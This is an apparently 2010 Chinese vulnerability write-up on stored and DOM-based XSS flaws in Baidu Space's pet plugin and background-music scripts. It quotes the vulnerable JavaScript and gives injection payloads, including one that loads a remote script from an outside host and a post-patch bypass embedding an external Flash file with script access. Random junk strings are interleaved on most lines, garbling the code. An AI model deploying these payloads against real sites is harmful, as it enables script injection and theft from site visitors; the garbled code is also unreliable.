百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
/ ?5 W J) G g* W/ l; k$ Y& Q8 h8 X; n( O
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
: E! _" }& S$ a2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 ; c2 N4 Q' Z7 t: f
, d2 ?) B8 v$ x% D
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> & E+ m5 ]6 W9 n) }* E$ [
其中BdUtil.insertWBR为
9 d) F f8 g/ ?+ M; ifunction(text, step) {
$ J# n) j/ l$ t' n" C' y* f var textarea = textAreaCache || getContainer(); 0 N+ M9 b& v9 {; d- C7 y
if (!textarea) { # v7 Z( H- a: r4 |
return text; * e F) _9 s0 z- \; @+ E* W! A0 t
} 4 g4 B# W7 h7 O; C/ n2 T3 T- [2 g
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); " R# D. Y ]/ T( j9 g
var string = textarea.value; / n% V7 w- Y4 M7 U+ e/ P$ j! x7 q
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 7 v' S4 g* }2 f1 ?3 q2 A' e. P
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); - a' ^* b% l) i8 t) t1 Z6 I# C: r
return result;
, Q- c1 ?- X2 M% A$ Q! o5 ^. R} + f( T# v! ~2 r: g0 \6 Q, c
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
* p/ l4 m1 l: G1 I! D( n测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
& f. g& x% @0 V1 G7 {
8 Y; P% G" k" J% F) I( F二:creatbgmusic() Dom-Xss Bug 3 J/ c+ W8 n- Y4 f" q: I. }% m
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 : w8 s) J' g F6 X* c$ M0 k4 s
6 Z' u% |* n- r
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: * n5 n0 Z; d- G+ I' f7 w
Q" ^' _5 N0 t) U2 K7 xfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { / q2 L3 j! `+ E3 }0 r( u3 E
//传入的murl赋值到bgmusic1和bgmusic2中
$ f2 A# N) U* p* _ //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
8 {# {: U1 I9 x# Q$ I; N0 M var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
( `6 f! ?+ B/ R4 P, l( }& k if (musicnum <= 1) {
# T' W1 U* b' \1 T: h( O% W' t1 O bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; $ m3 ], p4 O2 h J: g
}
) r' M8 B( y- I/ [6 {2 D& L4 y4 Q bgmusic1 += "</OBJECT>";
, W& l; }+ U" Q6 T* c var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
' W7 v4 g3 C/ n; C7 ^( V if (musicnum <= 1) { 8 C( U! s. I7 p7 H" t3 M
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
) T, y/ I: ^( W$ N( @ } # W6 P/ q/ T) M- D
bgmusic2 += "> </EMBED>";
- ~, v7 {4 w* q4 q3 i var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
) P! i# ~! O5 m0 t: x4 U( u var bgmus = detectWMP();
7 K# w- \' |. d4 l8 }0 o$ g# ~! n if (functype == "FckMusicHelper") { " M) V! H" ?7 ]* Y1 E( e& g
if (bgmus.installed) {
4 c5 p& f8 p/ b: B+ S! o if (bgmus.type == "IE") { - d/ W/ ]( i' w" f$ ?/ Q
return bgmusic1; . w0 I" c9 R: ^' Y3 Y/ _
} else if (bgmus.type == "NS") { ) y# V- w2 s) T- T( V) L# M( @
return bgmusic2; 6 T: I, `0 G2 J7 Y1 F" C4 b) d
} " l- c& G }7 ?
} else { 2 n( ?# V& z1 H& H
return bgmusic3; ; K5 h5 j; v* r u% ?
}
! K# A; r- l/ `! J( K) N } else { ' y: U) V9 W# E% \* N8 W
if (bgmus.installed) {
$ ^" V& Q) `- X //document.write 直接输出bgmusic变量 导致xss
& w; u# R0 }$ F% C# J if (bgmus.type == "IE") { " E% \3 j0 Z2 J% \" u* H. r
document.write(bgmusic1);
- { X3 h1 p* s$ U. o5 I- B } else if (bgmus.type == "NS") { ' D, x$ {* C1 S8 m g7 q6 D9 l' v
document.write(bgmusic2);
1 L- F6 Y) n; R* ~ } 0 J. V& ]6 |0 x u
} else {
, ?6 B7 @7 n" ^2 [ document.write(bgmusic3);
& A% _4 [. }& z2 D; R$ O }
`1 D$ o: ]8 P4 |# U# x return "";
, m0 B8 t1 ~" v) d }
- j i% x6 {- N) U7 U6 F. o! m* E} ) @3 ~+ i' O- B* q# G* g4 l Q
" ^- B0 U* W2 m. C8 D( f在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 4 X, _* K' ^: E. ~) U
1 @3 a$ J) Y6 x1 M/ {$ [ nfunction initBlogTextForFCK(){
3 X5 D; k2 D- L B9 j//fck init music
1 z6 L6 s9 [4 e. T/ q+ Z' Vif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} + N6 t' v( d9 @, l4 G/ w2 T
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 2 _& [. z& Q. {5 s* s7 K! O
var isAutoPlay=true;
+ k6 g+ J" g$ F) Bfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 2 p: }$ L3 V- a a9 E: g$ @% d' Y
var img=imgBox;
4 O- ]' B* E" ^& o' p) |! H* X, R if(img.getAttribute(’rel’)){ + x0 H" m+ w' H7 |, q- s
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
( r( q: t8 f. r0 J' ? var musicDiv = document.createElement("SPAN");
1 m+ r0 r) N6 z" o7 c var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
: }' C; h7 s$ k. b4 y- L ' V+ n# P |; a0 t
..........................
( H) A5 _2 `" }9 n7 b- R 7 ?( K' L- H- _: Z a9 P+ v
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. , W0 p' d, C, g5 V) A2 m
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 1 G( Q9 a3 o' q+ v) a" U/ c/ o O
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
. I8 c7 b: u1 p+ v musicDiv.innerHTML=shtml; 0 d3 Z/ f7 g: U0 t- ?
i--;n--; ) j, w, L# I0 j7 E; }) _9 a
}
0 C k' \5 o1 L/ R4 n9 D3 J}
; o+ {9 i* E! Q3 p1 |% f- ~0 r3 }% n. |
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
7 q* A. K; [, r- H5 J M! C w& j+ w3 Y6 z2 ` z
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 6 C9 C6 r X/ x C q6 S H& u# V1 M
7 r" H I( }8 n: T等待官方补丁
8 t; `% @2 l8 w+ w$ J: E! @4 G9 M1 s' F$ x/ {1 }3 F" H
update 2010年5月13日 + |. \6 d3 F/ r. t
+ `) R* {: d" f3 l官方补丁:
1 S1 b/ A) H* C) g7 I) w) }) L0 d4 d, \3 X. a% c, d
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
& g7 N1 L! p I$ `$ M2 O' q% w改为:
7 t( q2 a! \9 e3 O( e8 M$ fvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
; D, l( ~$ f5 O4 F) A
: d* P' H7 Y% L3 Qupdate 2010年5月13日 21:50:37
6 A& Q: G! Y E9 q: ]
5 `1 k: u9 z2 v, R/ [8 _补丁存在漏洞 没有过滤" 可以继续跨: . L/ p q1 D5 d
' m' f2 p. ^1 v) {" r" `8 xNEW POC: 1 M' e& m, Y$ V8 n
8 {; @4 B8 n. E2 ?/ F! Q! ~<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
% A4 X3 n# Y% x6 A2 J. Q( L" w$ Z& @. ?% ^% A" s
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
! Y/ _6 I1 {& V& B- R ( D3 j8 i! T# f4 ~: J1 v, q U
|